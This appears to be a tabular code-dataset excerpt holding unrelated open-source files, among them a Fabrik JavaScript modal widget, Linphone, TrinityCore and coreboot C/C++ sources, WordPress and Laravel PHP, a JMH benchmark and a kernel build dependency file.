code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
|---|---|---|---|---|---|
var FabrikModalRepeat = new Class({
initialize: function (el, names, field) {
this.names = names;
this.field = field;
this.content = false;
this.setup = false;
this.elid = el;
this.win = {};
this.el = {};
this.field = {};
// If the parent field is inserted via js then we delay the loading untill the html is present
if (!this.ready()) {
this.timer = this.testReady.periodical(500, this);
} else {
this.setUp();
}
},
ready: function () {
return typeOf(document.id(this.elid)) === 'null' ? false : true;
},
testReady: function () {
if (!this.ready()) {
return;
}
if (this.timer) {
clearInterval(this.timer);
}
this.setUp();
},
setUp: function () {
this.button = document.id(this.elid + '_button');
if (this.mask) {
this.mask.destroy();
}
this.mask = new Mask(document.body, {style: {'background-color': '#000', 'opacity': 0.4, 'z-index': 9998}});
document.addEvent('click:relay(*[data-modal=' + this.elid + '])', function (e, target) {
var tbl;
// Correct when in repeating group
var id = target.getNext('input').id;
this.field[id] = target.getNext('input');
var c = target.getParent('li');
this.origContainer = c;
tbl = c.getElement('table');
if (typeOf(tbl) !== 'null') {
this.el[id] = tbl;
}
this.openWindow(id);
}.bind(this));
},
openWindow: function (target) {
var makeWin = false;
if (!this.win[target]) {
makeWin = true;
this.makeTarget(target);
}
this.el[target].inject(this.win[target], 'top');
this.el[target].show();
if (!this.win[target] || makeWin) {
this.makeWin(target);
}
// Testing moviing out of makeWin
//this.build(target);
this.win[target].show();
this.win[target].position();
this.resizeWin(true, target);
this.win[target].position();
this.mask.show();
},
makeTarget: function (target) {
this.win[target] = new Element('div', {'data-modal-content': target, 'styles': {'padding': '5px', 'background-color': '#fff', 'display': 'none', 'z-index': 9999}}).inject(document.body);
},
makeWin: function (target) {
// Testing adopting in.out on show/hide
//this.win[target].adopt(this.el[target]);
var close = new Element('button.btn.button').set('text', 'close');
close.addEvent('click', function (e) {
e.stop();
this.store(target);
this.el[target].hide();
this.el[target].inject(this.origContainer);
this.close();
}.bind(this));
var controls = new Element('div.controls', {'styles': {'text-align': 'right'}}).adopt(close);
this.win[target].adopt(controls);
this.win[target].position();
this.content = this.el[target];
this.build(target);
this.watchButtons(this.win[target], target);
},
resizeWin: function (setup, target) {
console.log(target);
Object.each(this.win, function (win, key) {
var size = this.el[key].getDimensions(true);
var wsize = win.getDimensions(true);
var y = setup ? wsize.y : size.y + 30;
win.setStyles({'width': size.x + 'px', 'height': (y) + 'px'});
}.bind(this));
},
close: function () {
Object.each(this.win, function (win, key) {
win.hide();
});
this.mask.hide();
},
_getRadioValues: function (target) {
var radiovals = [];
this.getTrs(target).each(function (tr) {
var v = (sel = tr.getElement('input[type=radio]:checked')) ? sel.get('value') : v = '';
radiovals.push(v);
});
return radiovals;
},
_setRadioValues: function (radiovals, target) {
// Reapply radio button selections
this.getTrs(target).each(function (tr, i) {
if (r = tr.getElement('input[type=radio][value=' + radiovals[i] + ']')) {
r.checked = 'checked';
}
});
},
watchButtons: function (win, target) {
win.addEvent('click:relay(a.add)', function (e) {
if (tr = this.findTr(e)) {
// Store radio button selections
var radiovals = this._getRadioValues(target);
var body = tr.getParent('table').getElement('tbody');
this.tmpl.clone(true, true).inject(body);
/*if (tr.getChildren('th').length !== 0) {
var body = tr.getParent('table').getElement('tbody');
this.tmpl.clone(true, true).inject(body);
} else {
tr.clone(true, true).inject(tr, 'after');
}*/
this.stripe(target);
// Reapply values as renaming radio buttons
this._setRadioValues(radiovals, target);
this.resizeWin(false, target);
}
win.position();
e.stop();
}.bind(this));
win.addEvent('click:relay(a.remove)', function (e) {
// If only one row -don't remove
var rows = this.content.getElements('tbody tr');
if (rows.length <= 1) {
// return;
}
if (tr = this.findTr(e)) {
tr.dispose();
}
this.resizeWin(false, target);
win.position();
e.stop();
}.bind(this));
},
getTrs: function (target) {
return this.win[target].getElement('tbody').getElements('tr');
},
stripe: function (target) {
trs = this.getTrs(target);
for (var i = 0; i < trs.length; i ++) {
trs[i].removeClass('row1').removeClass('row0');
trs[i].addClass('row' + i % 2);
var chx = trs[i].getElements('input[type=radio]');
chx.each(function (r) {
r.name = r.name.replace(/\[([0-9])\]/, '[' + i + ']');
});
}
},
build: function (target) {
if (!this.win[target]) {
this.makeWin(target);
}
var a = JSON.decode(this.field[target].get('value'));
if (typeOf(a) === 'null') {
a = {};
}
var tr = this.win[target].getElement('tbody').getElement('tr');
var keys = Object.keys(a);
var newrow = keys.length === 0 || a[keys[0]].length === 0 ? true : false;
var rowcount = newrow ? 1 : a[keys[0]].length;
// Build the rows from the json object
for (var i = 1; i < rowcount; i ++) {
tr.clone().inject(tr, 'after');
}
this.stripe(target);
var trs = this.getTrs(target);
// Populate the cloned fields with the json values
for (i = 0; i < rowcount; i++) {
keys.each(function (k) {
trs[i].getElements('*[name*=' + k + ']').each(function (f) {
if (f.get('type') === 'radio') {
if (f.value === a[k][i]) {
f.checked = true;
}
} else {
// Works for input,select and textareas
f.value = a[k][i];
}
});
});
}
this.tmpl = tr;
if (newrow) {
tr.dispose();
}
},
findTr: function (e) {
var tr = e.target.getParents().filter(function (p) {
return p.get('tag') === 'tr';
});
return (tr.length === 0) ? false : tr[0];
},
store: function (target) {
var c = this.content;
c = this.el[target];
// Get the current values
var json = {};
for (var i = 0; i < this.names.length; i++) {
var n = this.names[i];
var fields = c.getElements('*[name*=' + n + ']');
json[n] = [];
fields.each(function (field) {
if (field.get('type') === 'radio') {
if (field.get('checked') === true) {
json[n].push(field.get('value'));
}
} else {
json[n].push(field.get('value'));
}
}.bind(this));
}
// Store them in the parent field.
this.field[target].value = JSON.encode(json);
return true;
}
});
|
emundus/v5
|
administrator/components/com_fabrik/models/fields/fabrikmodalrepeat.js
|
JavaScript
|
gpl-2.0
| 7,061
|
/*
* property-container.h
* Copyright (C) 2010-2018 Belledonne Communications SARL
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _L_PROPERTY_CONTAINER_H_
#define _L_PROPERTY_CONTAINER_H_
#include "variant/variant.h"
// =============================================================================
LINPHONE_BEGIN_NAMESPACE
class PropertyContainerPrivate;
class LINPHONE_PUBLIC PropertyContainer {
public:
PropertyContainer ();
PropertyContainer (const PropertyContainer &other);
virtual ~PropertyContainer ();
PropertyContainer &operator= (const PropertyContainer &other);
Variant getProperty (const std::string &name) const;
void setProperty (const std::string &name, const Variant &value);
void setProperty (const std::string &name, Variant &&value);
private:
PropertyContainerPrivate *mPrivate;
};
LINPHONE_END_NAMESPACE
#endif // ifndef _L_PROPERTY_CONTAINER_H_
|
raj-bhatia/grooveip-ios-public
|
submodules/linphone/src/object/property-container.h
|
C
|
gpl-2.0
| 1,573
|
/*
* Copyright (C) 2015 TinyCore <http://www.tinycore.net/>
* Copyright (C) 2014 TrinityCore<http://trinitycore.org/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __TRINITY_SOCIALMGR_H
#define __TRINITY_SOCIALMGR_H
#include "DatabaseEnv.h"
#include "Common.h"
class SocialMgr;
class PlayerSocial;
class Player;
class WorldPacket;
enum FriendStatus
{
FRIEND_STATUS_OFFLINE = 0x00,
FRIEND_STATUS_ONLINE = 0x01,
FRIEND_STATUS_AFK = 0x02,
FRIEND_STATUS_DND = 0x04,
FRIEND_STATUS_RAF = 0x08
};
enum SocialFlag
{
SOCIAL_FLAG_FRIEND = 0x01,
SOCIAL_FLAG_IGNORED = 0x02,
SOCIAL_FLAG_MUTED = 0x04, // guessed
SOCIAL_FLAG_UNK = 0x08 // Unknown - does not appear to be RaF
};
struct FriendInfo
{
FriendStatus Status;
uint8 Flags;
uint32 Area;
uint8 Level;
uint8 Class;
std::string Note;
FriendInfo() : Status(FRIEND_STATUS_OFFLINE), Flags(0), Area(0), Level(0), Class(0), Note()
{ }
FriendInfo(uint8 flags, std::string const& note) : Status(FRIEND_STATUS_OFFLINE), Flags(flags), Area(0), Level(0), Class(0), Note(note)
{ }
};
typedef std::map<uint32, FriendInfo> PlayerSocialMap;
typedef std::map<uint32, PlayerSocial> SocialMap;
/// Results of friend related commands
enum FriendsResult
{
FRIEND_DB_ERROR = 0x00,
FRIEND_LIST_FULL = 0x01,
FRIEND_ONLINE = 0x02,
FRIEND_OFFLINE = 0x03,
FRIEND_NOT_FOUND = 0x04,
FRIEND_REMOVED = 0x05,
FRIEND_ADDED_ONLINE = 0x06,
FRIEND_ADDED_OFFLINE = 0x07,
FRIEND_ALREADY = 0x08,
FRIEND_SELF = 0x09,
FRIEND_ENEMY = 0x0A,
FRIEND_IGNORE_FULL = 0x0B,
FRIEND_IGNORE_SELF = 0x0C,
FRIEND_IGNORE_NOT_FOUND = 0x0D,
FRIEND_IGNORE_ALREADY = 0x0E,
FRIEND_IGNORE_ADDED = 0x0F,
FRIEND_IGNORE_REMOVED = 0x10,
FRIEND_IGNORE_AMBIGUOUS = 0x11, // That name is ambiguous, type more of the player's server name
FRIEND_MUTE_FULL = 0x12,
FRIEND_MUTE_SELF = 0x13,
FRIEND_MUTE_NOT_FOUND = 0x14,
FRIEND_MUTE_ALREADY = 0x15,
FRIEND_MUTE_ADDED = 0x16,
FRIEND_MUTE_REMOVED = 0x17,
FRIEND_MUTE_AMBIGUOUS = 0x18, // That name is ambiguous, type more of the player's server name
FRIEND_UNK7 = 0x19, // no message at client
FRIEND_UNKNOWN = 0x1A // Unknown friend response from server
};
#define SOCIALMGR_FRIEND_LIMIT 50
#define SOCIALMGR_IGNORE_LIMIT 50
class PlayerSocial
{
friend class SocialMgr;
public:
PlayerSocial();
// adding/removing
bool AddToSocialList(uint32 friend_guid, bool ignore);
void RemoveFromSocialList(uint32 friend_guid, bool ignore);
void SetFriendNote(uint32 friendGuid, std::string note);
// Packet send's
void SendSocialList(Player* player);
// Misc
bool HasFriend(uint32 friend_guid);
bool HasIgnore(uint32 ignore_guid);
uint32 GetPlayerGUID() const { return m_playerGUID; }
void SetPlayerGUID(uint32 guid) { m_playerGUID = guid; }
uint32 GetNumberOfSocialsWithFlag(SocialFlag flag);
private:
PlayerSocialMap m_playerSocialMap;
uint32 m_playerGUID;
};
class SocialMgr
{
private:
SocialMgr();
~SocialMgr();
public:
static SocialMgr* instance()
{
static SocialMgr instance;
return &instance;
}
// Misc
void RemovePlayerSocial(uint32 guid) { m_socialMap.erase(guid); }
void GetFriendInfo(Player* player, uint32 friendGUID, FriendInfo &friendInfo);
// Packet management
void MakeFriendStatusPacket(FriendsResult result, uint32 friend_guid, WorldPacket* data);
void SendFriendStatus(Player* player, FriendsResult result, uint32 friend_guid, bool broadcast);
void BroadcastToFriendListers(Player* player, WorldPacket* packet);
// Loading
PlayerSocial *LoadFromDB(PreparedQueryResult result, uint32 guid);
private:
SocialMap m_socialMap;
};
#define sSocialMgr SocialMgr::instance()
#endif
|
AwkwardDev/TinyCore
|
src/server/game/Entities/Player/SocialMgr.h
|
C
|
gpl-2.0
| 4,961
|
/* SPDX-License-Identifier: GPL-2.0-only */
#include <device/device.h>
#include <device/pci.h>
#include <fsp/api.h>
#include <fsp/util.h>
#include <intelblocks/acpi.h>
#include <intelblocks/cfg.h>
#include <intelblocks/gpio.h>
#include <intelblocks/itss.h>
#include <intelblocks/pcie_rp.h>
#include <intelblocks/xdci.h>
#include <soc/intel/common/vbt.h>
#include <soc/itss.h>
#include <soc/pci_devs.h>
#include <soc/ramstage.h>
#include <soc/soc_chip.h>
static const struct pcie_rp_group pch_rp_groups[] = {
{ .slot = PCH_DEV_SLOT_PCIE, .count = 7 },
{ 0 }
};
#if CONFIG(HAVE_ACPI_TABLES)
const char *soc_acpi_name(const struct device *dev)
{
if (dev->path.type == DEVICE_PATH_DOMAIN)
return "PCI0";
if (dev->path.type == DEVICE_PATH_USB) {
switch (dev->path.usb.port_type) {
case 0:
/* Root Hub */
return "RHUB";
case 2:
/* USB2 ports */
switch (dev->path.usb.port_id) {
case 0: return "HS01";
case 1: return "HS02";
case 2: return "HS03";
case 3: return "HS04";
case 4: return "HS05";
case 5: return "HS06";
case 6: return "HS07";
case 7: return "HS08";
case 8: return "HS09";
case 9: return "HS10";
}
break;
case 3:
/* USB3 ports */
switch (dev->path.usb.port_id) {
case 0: return "SS01";
case 1: return "SS02";
case 2: return "SS03";
case 3: return "SS04";
}
break;
}
return NULL;
}
if (dev->path.type != DEVICE_PATH_PCI)
return NULL;
switch (dev->path.pci.devfn) {
case SA_DEVFN_ROOT: return "MCHC";
case PCH_DEVFN_I2C6: return "I2C6";
case PCH_DEVFN_I2C7: return "I2C7";
case PCH_DEVFN_XHCI: return "XHCI";
case PCH_DEVFN_I2C0: return "I2C0";
case PCH_DEVFN_I2C1: return "I2C1";
case PCH_DEVFN_I2C2: return "I2C2";
case PCH_DEVFN_I2C3: return "I2C3";
case PCH_DEVFN_SATA: return "SATA";
case PCH_DEVFN_UART2: return "UAR2";
case PCH_DEVFN_I2C4: return "I2C4";
case PCH_DEVFN_I2C5: return "I2C5";
case PCH_DEVFN_PCIE1: return "RP01";
case PCH_DEVFN_PCIE2: return "RP02";
case PCH_DEVFN_PCIE3: return "RP03";
case PCH_DEVFN_PCIE4: return "RP04";
case PCH_DEVFN_PCIE5: return "RP05";
case PCH_DEVFN_PCIE6: return "RP06";
case PCH_DEVFN_PCIE7: return "RP07";
case PCH_DEVFN_UART0: return "UAR0";
case PCH_DEVFN_UART1: return "UAR1";
case PCH_DEVFN_GSPI0: return "SPI0";
case PCH_DEVFN_GSPI1: return "SPI1";
case PCH_DEVFN_GBE: return "GLAN";
case PCH_DEVFN_GSPI2: return "SPI2";
case PCH_DEVFN_EMMC: return "EMMC";
case PCH_DEVFN_SDCARD: return "SDXC";
case PCH_DEVFN_HDA: return "HDAS";
case PCH_DEVFN_SMBUS: return "SBUS";
}
return NULL;
}
#endif
/* SoC routine to fill GPIO PM mask and value for GPIO_MISCCFG register */
static void soc_fill_gpio_pm_configuration(void)
{
uint8_t value[TOTAL_GPIO_COMM];
const config_t *config = config_of_soc();
if (config->gpio_override_pm)
memcpy(value, config->gpio_pm, sizeof(value));
else
memset(value, MISCCFG_GPIO_PM_CONFIG_BITS, sizeof(value));
gpio_pm_configure(value, TOTAL_GPIO_COMM);
}
void soc_init_pre_device(void *chip_info)
{
/* Perform silicon specific init. */
fsp_silicon_init();
/* Display FIRMWARE_VERSION_INFO_HOB */
fsp_display_fvi_version_hob();
soc_fill_gpio_pm_configuration();
/* swap enabled PCI ports in device tree if needed */
pcie_rp_update_devicetree(pch_rp_groups);
}
static struct device_operations pci_domain_ops = {
.read_resources = &pci_domain_read_resources,
.set_resources = &pci_domain_set_resources,
.scan_bus = &pci_domain_scan_bus,
#if CONFIG(HAVE_ACPI_TABLES)
.acpi_name = &soc_acpi_name,
#endif
};
static struct device_operations cpu_bus_ops = {
.read_resources = noop_read_resources,
.set_resources = noop_set_resources,
#if CONFIG(HAVE_ACPI_TABLES)
.acpi_fill_ssdt = generate_cpu_entries,
#endif
};
extern struct device_operations pmc_ops;
static void soc_enable(struct device *dev)
{
/* Set the operations if it is a special bus type */
if (dev->path.type == DEVICE_PATH_DOMAIN)
dev->ops = &pci_domain_ops;
else if (dev->path.type == DEVICE_PATH_CPU_CLUSTER)
dev->ops = &cpu_bus_ops;
else if (dev->path.type == DEVICE_PATH_PCI &&
dev->path.pci.devfn == PCH_DEVFN_PMC)
dev->ops = &pmc_ops;
else if (dev->path.type == DEVICE_PATH_GPIO)
block_gpio_enable(dev);
}
struct chip_operations soc_intel_elkhartlake_ops = {
CHIP_NAME("Intel Elkhartlake")
.enable_dev = &soc_enable,
.init = &soc_init_pre_device,
};
|
felixsinger/coreboot
|
src/soc/intel/elkhartlake/chip.c
|
C
|
gpl-2.0
| 4,410
|
<?php
function _appthemes_localize_scripts() {
// jQuery Validate
wp_register_script( 'validate-lang', APP_FRAMEWORK_URI . '/js/validate/jquery.validate-lang.js', array( 'validate' ) );
wp_localize_script( 'validate-lang', 'validateL10n', array(
'required' => __( 'This field is required.', APP_TD ),
'remote' => __( 'Please fix this field.', APP_TD ),
'email' => __( 'Please enter a valid email address.', APP_TD ),
'url' => __( 'Please enter a valid URL.', APP_TD ),
'date' => __( 'Please enter a valid date.', APP_TD ),
'dateISO' => __( 'Please enter a valid date (ISO).', APP_TD ),
'number' => __( 'Please enter a valid number.', APP_TD ),
'digits' => __( 'Please enter only digits.', APP_TD ),
'creditcard' => __( 'Please enter a valid credit card number.', APP_TD ),
'equalTo' => __( 'Please enter the same value again.', APP_TD ),
'maxlength' => __( 'Please enter no more than {0} characters.', APP_TD ),
'minlength' => __( 'Please enter at least {0} characters.', APP_TD ),
'rangelength' => __( 'Please enter a value between {0} and {1} characters long.', APP_TD ),
'range' => __( 'Please enter a value between {0} and {1}.', APP_TD ),
'max' => __( 'Please enter a value less than or equal to {0}.', APP_TD ),
'min' => __( 'Please enter a value greater than or equal to {0}.', APP_TD ),
) );
// jQuery Colorbox
wp_register_script( 'colorbox-lang', APP_FRAMEWORK_URI . '/js/colorbox/jquery.colorbox-lang.js', array( 'colorbox' ) );
wp_localize_script( 'colorbox-lang', 'colorboxL10n', array(
'current' => __( 'image {current} of {total}', APP_TD ),
'previous' => __( 'previous', APP_TD ),
'next' => __( 'next', APP_TD ),
'close' => __( 'close', APP_TD ),
'xhrError' => __( 'This content failed to load.', APP_TD ),
'imgError' => __( 'This image failed to load.', APP_TD ),
'slideshowStart' => __( 'start slideshow', APP_TD ),
'slideshowStop' => __( 'stop slideshow', APP_TD ),
) );
}
|
dakshatechnologies/renovize
|
wp-content/themes/renovizenew/framework/js/localization.php
|
PHP
|
gpl-2.0
| 2,069
|
<!-- Created by Jernej Jerin on 1.11.2014.-->
<!-- Navigation-->
<nav role="navigation" class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<!-- Brand and toggle get grouped for better mobile display-->
<div class="navbar-header"></div>
<button type="button" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" class="navbar-toggle"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a href="#" class="navbar-brand">Start Bootstrap</a>
</div>
<!-- Collect the nav links, forms, and other content for toggling-->
<div id="bs-example-navbar-collapse-1" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="#">About</a></li>
<li><a href="#">Services</a></li>
<li><a href="#">Contact</a></li>
</ul>
</div>
<!--/.navbar-collapse-->
</nav>
|
JernejJerin/sokoban-multiplayer
|
public/views/includes/header.html
|
HTML
|
gpl-2.0
| 936
|
package com.swayam.jmh.algos;
import java.util.concurrent.TimeUnit;
import org.openjdk.jmh.annotations.Benchmark;
import org.openjdk.jmh.annotations.BenchmarkMode;
import org.openjdk.jmh.annotations.Mode;
import org.openjdk.jmh.annotations.OutputTimeUnit;
import com.swayam.practice.algos.strings.IntegerArrayMatcher;
import com.swayam.practice.algos.strings.IntegerArrayMatcherSimpleStringImpl;
public class IntegerArrayMatcherSimpleStringImplBenchmark {
@Benchmark
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
public void testContains_positive() {
// given
IntegerArrayMatcher testClass = new IntegerArrayMatcherSimpleStringImpl(
new int[] { 84, 112, 93, 104, 82, 61, 96, 102, 93, 104, 87, 110 });
// when
@SuppressWarnings("unused")
boolean result = testClass.contains(104);
}
@Benchmark
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
public void testContains_negative_1() {
// given
IntegerArrayMatcher testClass = new IntegerArrayMatcherSimpleStringImpl(
new int[] { 84, 112, 93, 104, 82, 61, 96, 102, 93, 104, 87, 110 });
// when
@SuppressWarnings("unused")
boolean result = testClass.contains(826);
}
@Benchmark
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
public void testContains_negative_2() {
// given
IntegerArrayMatcher testClass = new IntegerArrayMatcherSimpleStringImpl(
new int[] { 84, 112, 93, 104, 82, 61, 96, 102, 93, 104, 87, 110 });
// when
@SuppressWarnings("unused")
boolean result = testClass.contains(9);
}
}
|
paawak/blog
|
code/algos-jmh/src/main/java/com/swayam/jmh/algos/IntegerArrayMatcherSimpleStringImplBenchmark.java
|
Java
|
gpl-2.0
| 1,581
|
/*
FTP file system
Copyright (C) 2006 Robson Braga Araujo <robsonbraga@gmail.com>
This program can be distributed under the terms of the GNU GPL.
See the file COPYING.
*/
#include <stdlib.h> /* realloc(), exit() */
#include <string.h> /* memcpy() */
#include <stdio.h> /* stderr, fprintf() */
#include <stdint.h> /* <uint8_t> */
#include <unistd.h> /* <off_t> */
#include "buffer.h"
void buf_init(struct buffer *buf) {
buf->p = NULL;
buf->len = 0;
buf->size = 0;
buf->begin_offset = 0;
}
void buf_free(struct buffer *buf) {
free(buf->p);
}
void buf_clear(struct buffer *buf) {
buf_free(buf);
buf_init(buf);
}
static int buf_resize(struct buffer *buf, size_t len) {
buf->size = (buf->len + len + 63) & ~31;
buf->p = realloc(buf->p, buf->size);
if (!buf->p) {
fprintf(stderr, "ftpfs: memory allocation failed\n");
return -1;
}
return 0;
}
int buf_add_mem(struct buffer *buf, const void *data, size_t len) {
if (buf->len + len > buf->size && buf_resize(buf, len) == -1)
return -1;
memcpy(buf->p + buf->len, data, len);
buf->len += len;
return 0;
}
void buf_null_terminate(struct buffer *buf) {
if (buf_add_mem(buf, "\0", 1) == -1)
exit(1);
}
|
vpit/curlftpfs
|
buffer.c
|
C
|
gpl-2.0
| 1,251
|
//----------------------------------------------------------------------------------------
//
// This file and all other Easy Bridge source files are copyright (C) 2002 by Steven Han.
// Use of this file is governed by the GNU General Public License.
// See the files COPYING and COPYRIGHT for details.
//
//----------------------------------------------------------------------------------------
//
// BidOptsMiscPage.h : header file
//
class CObjectWithProperties;
/////////////////////////////////////////////////////////////////////////////
// CBidOptsMiscPage dialog
class CBidOptsMiscPage : public CPropertyPage
{
DECLARE_DYNCREATE(CBidOptsMiscPage)
friend class CBidOptionsPropSheet;
// routines
private:
void Update();
// data
private:
CObjectWithProperties& m_app;
CObjectWithProperties& m_conventionSet;
// Construction
public:
CBidOptsMiscPage(CObjectWithProperties* pApp=NULL, CObjectWithProperties* pConventionSet=NULL);
~CBidOptsMiscPage();
// Dialog Data
//{{AFX_DATA(CBidOptsMiscPage)
enum { IDD = IDP_BID_MISC };
int m_nJumpOvercalls;
BOOL m_b4thSuitForcing;
BOOL m_bStructuredReverses;
BOOL m_bJacoby2NT;
BOOL m_bMichaelsCueBid;
BOOL m_bUnusualNT;
BOOL m_bDrury;
//}}AFX_DATA
// Overrides
// ClassWizard generate virtual function overrides
//{{AFX_VIRTUAL(CBidOptsMiscPage)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CBidOptsMiscPage)
// NOTE: the ClassWizard will add member functions here
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
|
azureskydiver/EasyBridge
|
Source/Wizards/BidOptsMiscPage.h
|
C
|
gpl-2.0
| 1,621
|
/*
* Copyright (c) 2007 Henrique Pinto <henrique.pinto@kdemail.net>
* Copyright (c) 2008-2009 Harald Hvaal <haraldhv@stud.ntnu.no>
* Copyright (c) 2010 Raphael Kubo da Costa <rakuco@FreeBSD.org>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ( INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION ) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* ( INCLUDING NEGLIGENCE OR OTHERWISE ) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "readonlylibarchiveplugin.h"
#include "ark_debug.h"
#include <KPluginFactory>
K_PLUGIN_FACTORY_WITH_JSON(ReadOnlyLibarchivePluginFactory, "kerfuffle_libarchive_readonly.json", registerPlugin<ReadOnlyLibarchivePlugin>();)
ReadOnlyLibarchivePlugin::ReadOnlyLibarchivePlugin(QObject *parent, const QVariantList & args)
: LibarchivePlugin(parent, args)
{
qCDebug(ARK) << "Loaded libarchive read-only plugin";
}
ReadOnlyLibarchivePlugin::~ReadOnlyLibarchivePlugin()
{
}
#include "readonlylibarchiveplugin.moc"
|
mvlabat/ark
|
plugins/libarchive/readonlylibarchiveplugin.cpp
|
C++
|
gpl-2.0
| 1,989
|
<?php $atts = array_map('contact_do_shortcode', (array) $atts);
extract(shortcode_atts(array('filter' => ''), $atts));
$form_id = $GLOBALS['contact_form_id'];
$prefix = $GLOBALS['contact_form_prefix'];
$content = explode('[other]', do_shortcode($content));
if (!isset($_POST[$prefix.'submit'])) { $n = 2; }
elseif ((isset($GLOBALS['form_error'])) && ($GLOBALS['form_error'] == 'yes')) { $n = 1; }
else { $n = 0; }
if (!isset($content[$n])) { $content[$n] = ''; }
$content = contact_filter_data($filter, $content[$n]);
|
patricerandria/ccmgr-wp
|
ccmgr/wp-content/plugins/contact-manager/includes/forms/validation-content.php
|
PHP
|
gpl-2.0
| 526
|
<?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class AddShortnameProjects extends Migration {
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::table('projects', function(Blueprint $table)
{
//
$table->string('shortname');
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::table('projects', function(Blueprint $table)
{
//
$table->dropColumn('shortname');
});
}
}
|
elconejito/Graphics-Library
|
app/database/migrations/2014_03_17_173453_add_shortname_projects.php
|
PHP
|
gpl-2.0
| 547
|
cmd_lib/zlib_deflate/deflate.o := arm-linux-gnueabi-gcc -Wp,-MD,lib/zlib_deflate/.deflate.o.d -nostdinc -isystem /usr/lib/gcc-cross/arm-linux-gnueabi/4.7/include -Iinclude -I/home/benoit/kernel_android/32/es209ra/arch/arm/include -include include/linux/autoconf.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-msm/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -Os -marm -mabi=aapcs-linux -mno-thumb-interwork -funwind-tables -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -Wframe-larger-than=2048 -fno-stack-protector -fomit-frame-pointer -g -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fno-dwarf2-cfi-asm -fconserve-stack -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(deflate)" -D"KBUILD_MODNAME=KBUILD_STR(zlib_deflate)" -c -o lib/zlib_deflate/deflate.o lib/zlib_deflate/deflate.c
deps_lib/zlib_deflate/deflate.o := \
lib/zlib_deflate/deflate.c \
include/linux/module.h \
$(wildcard include/config/modules.h) \
$(wildcard include/config/modversions.h) \
$(wildcard include/config/unused/symbols.h) \
$(wildcard include/config/generic/bug.h) \
$(wildcard include/config/kallsyms.h) \
$(wildcard include/config/tracepoints.h) \
$(wildcard include/config/tracing.h) \
$(wildcard include/config/event/tracing.h) \
$(wildcard include/config/ftrace/mcount/record.h) \
$(wildcard include/config/module/unload.h) \
$(wildcard include/config/smp.h) \
$(wildcard include/config/constructors.h) \
$(wildcard include/config/sysfs.h) \
include/linux/list.h \
$(wildcard include/config/debug/list.h) \
include/linux/stddef.h \
include/linux/compiler.h \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
include/linux/compiler-gcc4.h \
include/linux/poison.h \
include/linux/prefetch.h \
include/linux/types.h \
$(wildcard include/config/uid16.h) \
$(wildcard include/config/lbdaf.h) \
$(wildcard include/config/phys/addr/t/64bit.h) \
$(wildcard include/config/64bit.h) \
